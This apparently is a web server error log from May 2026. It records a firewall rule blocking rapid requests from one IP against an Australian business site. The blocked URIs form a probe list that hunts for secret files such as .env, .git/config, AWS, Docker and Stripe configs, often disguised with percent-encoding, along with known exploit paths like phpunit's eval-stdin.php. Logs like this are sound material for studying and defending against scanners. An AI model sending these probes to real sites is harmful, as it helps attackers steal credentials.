[Tue May 19 19:59:53.872742 2026] [:error] [pid 41573:tid 41596] [client 77.83.39.119:18516] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/login"] [unique_id "agxQuS1A2bd6JDSW9RaLoQAAARU"]
[Tue May 19 19:59:53.873218 2026] [:error] [pid 46896:tid 46899] [client 77.83.39.119:18308] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/%2eenv%2eproduction"] [unique_id "agxQuaCHyzL3Ci9LGE1hiwAAAYE"]
[Tue May 19 19:59:53.873875 2026] [:error] [pid 29823:tid 29841] [client 77.83.39.119:18298] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%62ackend/%2eenv"] [unique_id "agxQuWO09C0nAz8vRk5BEAAAAcY"]
[Tue May 19 19:59:53.874104 2026] [:error] [pid 38705:tid 38775] [client 77.83.39.119:18500] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2edocker/config%2ejson"] [unique_id "agxQucg5dNOZ5umN9ltgEAAAAIY"]
[Tue May 19 19:59:53.874559 2026] [:error] [pid 41573:tid 41590] [client 77.83.39.119:18238] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/workflows"] [unique_id "agxQuS1A2bd6JDSW9RaLogAAAQ8"]
[Tue May 19 19:59:53.875167 2026] [:error] [pid 29823:tid 29860] [client 77.83.39.119:18268] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit/%63onfig"] [unique_id "agxQuWO09C0nAz8vRk5BEQAAAdU"]
[Tue May 19 19:59:54.061502 2026] [:error] [pid 29622:tid 29633] [client 77.83.39.119:18138] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2estripe/"] [unique_id "agxQujkOqPKWkPs_P15Q-gAAAgk"]
[Tue May 19 19:59:54.061528 2026] [:error] [pid 29622:tid 29634] [client 77.83.39.119:18490] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/db.env"] [unique_id "agxQujkOqPKWkPs_P15Q-wAAAgo"]
[Tue May 19 19:59:54.080337 2026] [:error] [pid 46896:tid 46911] [client 77.83.39.119:18530] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2f%2eenv"] [unique_id "agxQuqCHyzL3Ci9LGE1hjAAAAY0"]
[Tue May 19 19:59:54.080350 2026] [:error] [pid 29622:tid 29638] [client 77.83.39.119:18146] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/oauth1-credential/auth"] [unique_id "agxQujkOqPKWkPs_P15Q_AAAAg4"]
[Tue May 19 19:59:54.081329 2026] [:error] [pid 46896:tid 46901] [client 77.83.39.119:18378] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2eenv"] [unique_id "agxQuqCHyzL3Ci9LGE1hjQAAAYM"]
[Tue May 19 19:59:54.081603 2026] [:error] [pid 46896:tid 46905] [client 77.83.39.119:18374] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2fbackend%2f%2eenv"] [unique_id "agxQuqCHyzL3Ci9LGE1hjgAAAYc"]
[Tue May 19 19:59:54.132983 2026] [:error] [pid 38699:tid 38757] [client 77.83.39.119:18202] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/oauth2-credential/auth"] [unique_id "agxQur--Adsw_P-dthafGQAAAE8"]
[Tue May 19 19:59:54.133069 2026] [:error] [pid 29823:tid 29855] [client 77.83.39.119:18220] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/stripe%2ejson"] [unique_id "agxQumO09C0nAz8vRk5BEwAAAdA"]
[Tue May 19 19:59:54.133690 2026] [:error] [pid 46896:tid 46904] [client 77.83.39.119:18454] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/database.env"] [unique_id "agxQuqCHyzL3Ci9LGE1hjwAAAYY"]
[Tue May 19 19:59:54.134247 2026] [:error] [pid 46896:tid 46912] [client 77.83.39.119:18458] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws%2eyaml"] [unique_id "agxQuqCHyzL3Ci9LGE1hkAAAAY4"]
[Tue May 19 19:59:54.135927 2026] [:error] [pid 29622:tid 29626] [client 77.83.39.119:18342] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/env"] [unique_id "agxQujkOqPKWkPs_P15Q_QAAAgI"]
[Tue May 19 19:59:54.135959 2026] [:error] [pid 29622:tid 29635] [client 77.83.39.119:18572] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws%2eyml"] [unique_id "agxQujkOqPKWkPs_P15Q_gAAAgs"]
[Tue May 19 19:59:54.136213 2026] [:error] [pid 38699:tid 38750] [client 77.83.39.119:18174] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/executions"] [unique_id "agxQur--Adsw_P-dthafGgAAAEg"]
[Tue May 19 19:59:54.136382 2026] [:error] [pid 29622:tid 29645] [client 77.83.39.119:18552] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/%2eenv"] [unique_id "agxQujkOqPKWkPs_P15Q_wAAAhU"]
[Tue May 19 19:59:54.136504 2026] [:error] [pid 29622:tid 29642] [client 77.83.39.119:18564] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info%2ephp"] [unique_id "agxQujkOqPKWkPs_P15RAAAAAhI"]
[Tue May 19 19:59:54.235906 2026] [:error] [pid 29622:tid 29631] [client 77.83.39.119:18586] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/storage%2eyml"] [unique_id "agxQujkOqPKWkPs_P15RAQAAAgc"]
[Tue May 19 19:59:54.244599 2026] [:error] [pid 29622:tid 29648] [client 77.83.39.119:18332] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit/config.old"] [unique_id "agxQujkOqPKWkPs_P15RAgAAAhg"]
[Tue May 19 19:59:54.263915 2026] [:error] [pid 46896:tid 46919] [client 77.83.39.119:18546] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/client/stripe%2econfig%2ejs"] [unique_id "agxQuqCHyzL3Ci9LGE1hkQAAAZU"]
[Tue May 19 19:59:54.264296 2026] [:error] [pid 46815:tid 46821] [client 77.83.39.119:18484] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/opt/%2eenv"] [unique_id "agxQuiPnRhJOmA06LgpydAAAAUQ"]
[Tue May 19 19:59:54.267003 2026] [:error] [pid 29622:tid 29640] [client 77.83.39.119:18590] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wc/v3/payment_gateways"] [unique_id "agxQujkOqPKWkPs_P15RAwAAAhA"]
[Tue May 19 19:59:54.269143 2026] [:error] [pid 38699:tid 38765] [client 77.83.39.119:18544] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/%2eenv%2elocal"] [unique_id "agxQur--Adsw_P-dthafGwAAAFc"]
[Tue May 19 19:59:54.516686 2026] [:error] [pid 29823:tid 29858] [client 77.83.39.119:12298] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/craco%2econfig%2ejs"] [unique_id "agxQumO09C0nAz8vRk5BFQAAAdM"]
[Tue May 19 19:59:54.517077 2026] [:error] [pid 29823:tid 29849] [client 77.83.39.119:12282] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/stripe%2ejs"] [unique_id "agxQumO09C0nAz8vRk5BFgAAAco"]
[Tue May 19 19:59:54.728576 2026] [:error] [pid 29823:tid 29851] [client 77.83.39.119:17980] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/netlify%2etoml"] [unique_id "agxQumO09C0nAz8vRk5BFwAAAcw"]
[Tue May 19 19:59:54.871024 2026] [:error] [pid 29823:tid 29850] [client 77.83.39.119:12320] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/webhooks/incoming/stripe%2ejson"] [unique_id "agxQumO09C0nAz8vRk5BGAAAAcs"]
[Tue May 19 19:59:54.878835 2026] [:error] [pid 29823:tid 29859] [client 77.83.39.119:17914] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "agxQumO09C0nAz8vRk5BGQAAAdQ"]
[Tue May 19 19:59:54.953265 2026] [:error] [pid 41573:tid 41583] [client 77.83.39.119:12294] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/%2egit/config"] [unique_id "agxQui1A2bd6JDSW9RaLpAAAAQg"]
[Tue May 19 19:59:55.031157 2026] [:error] [pid 46896:tid 46908] [client 77.83.39.119:62762] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wc/v1/payment_gateways"] [unique_id "agxQu6CHyzL3Ci9LGE1hkgAAAYo"]
[Tue May 19 19:59:55.031658 2026] [:error] [pid 38705:tid 38770] [client 77.83.39.119:18450] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_debugbar"] [unique_id "agxQu8g5dNOZ5umN9ltgEgAAAIE"]
[Tue May 19 19:59:55.031683 2026] [:error] [pid 29823:tid 29856] [client 77.83.39.119:12316] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.passwd-s3fs"] [unique_id "agxQu2O09C0nAz8vRk5BGgAAAdE"]
[Tue May 19 19:59:55.070142 2026] [:error] [pid 55881:tid 55903] [client 77.83.39.119:62840] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vercel%2ejson"] [unique_id "agxQu--UExma0LUC7WADqgAAAlQ"]
[Tue May 19 19:59:55.070518 2026] [:error] [pid 55881:tid 55904] [client 77.83.39.119:62860] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/payment/stripe%2ejson"] [unique_id "agxQu--UExma0LUC7WADqwAAAlU"]
[Tue May 19 19:59:55.071009 2026] [:error] [pid 55881:tid 55885] [client 77.83.39.119:62846] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit/config.bak"] [unique_id "agxQu--UExma0LUC7WADrQAAAkI"]
[Tue May 19 19:59:55.071194 2026] [:error] [pid 55881:tid 55899] [client 77.83.39.119:62832] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/stripe%2eyaml"] [unique_id "agxQu--UExma0LUC7WADrAAAAlA"]
[Tue May 19 19:59:55.071783 2026] [:error] [pid 55881:tid 55900] [client 77.83.39.119:62868] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2ewell-known/stripe%2etxt"] [unique_id "agxQu--UExma0LUC7WADrgAAAlE"]
[Tue May 19 19:59:55.081750 2026] [:error] [pid 55881:tid 55892] [client 77.83.39.119:62826] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/package-updates/perform%2ecgi"] [unique_id "agxQu--UExma0LUC7WADrwAAAkk"]
[Tue May 19 19:59:55.088465 2026] [:error] [pid 41573:tid 41578] [client 77.83.39.119:62806] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/%2eenv%2eproduction"] [unique_id "agxQuy1A2bd6JDSW9RaLpQAAAQM"]
[Tue May 19 19:59:55.120283 2026] [:error] [pid 41573:tid 41593] [client 77.83.39.119:62782] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/login"] [unique_id "agxQuy1A2bd6JDSW9RaLpwAAARI"]
[Tue May 19 19:59:55.120511 2026] [:error] [pid 41573:tid 41599] [client 77.83.39.119:62812] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit"] [unique_id "agxQuy1A2bd6JDSW9RaLqAAAARg"]
[Tue May 19 19:59:55.120736 2026] [:error] [pid 29823:tid 29861] [client 77.83.39.119:62780] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/workflows"] [unique_id "agxQu2O09C0nAz8vRk5BHAAAAdY"]
[Tue May 19 19:59:55.120883 2026] [:error] [pid 41573:tid 41592] [client 77.83.39.119:62776] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit/%63onfig"] [unique_id "agxQuy1A2bd6JDSW9RaLqQAAARE"]
[Tue May 19 19:59:55.121745 2026] [:error] [pid 38705:tid 38787] [client 77.83.39.119:62822] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web%2econfig"] [unique_id "agxQu8g5dNOZ5umN9ltgFAAAAJI"]
[Tue May 19 19:59:55.122138 2026] [:error] [pid 29823:tid 29839] [client 77.83.39.119:12300] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/webmin/package-updates/update%2ecgi"] [unique_id "agxQu2O09C0nAz8vRk5BHQAAAcQ"]
[Tue May 19 19:59:55.122475 2026] [:error] [pid 38814:tid 38837] [client 77.83.39.119:62794] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%62ackend/%2eenv"] [unique_id "agxQuwvkKuBwP0epzWedawAAANU"]
[Tue May 19 19:59:55.148055 2026] [:error] [pid 38814:tid 38828] [client 77.83.39.119:62884] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/db.env"] [unique_id "agxQuwvkKuBwP0epzWedbAAAAMw"]
[Tue May 19 19:59:55.376486 2026] [:error] [pid 46815:tid 46825] [client 77.83.39.119:18678] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/docker-compose%2eyml"] [unique_id "agxQuyPnRhJOmA06LgpydwAAAUg"]
[Tue May 19 19:59:55.504424 2026] [:error] [pid 38814:tid 38818] [client 77.83.39.119:62952] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2fbackend%2f%2eenv"] [unique_id "agxQuwvkKuBwP0epzWedbQAAAMI"]
[Tue May 19 19:59:55.504427 2026] [:error] [pid 41573:tid 41597] [client 77.83.39.119:62914] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2estripe/"] [unique_id "agxQuy1A2bd6JDSW9RaLqgAAARY"]
[Tue May 19 19:59:55.504798 2026] [:error] [pid 38814:tid 38816] [client 77.83.39.119:62924] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2eenv"] [unique_id "agxQuwvkKuBwP0epzWedbgAAAMA"]
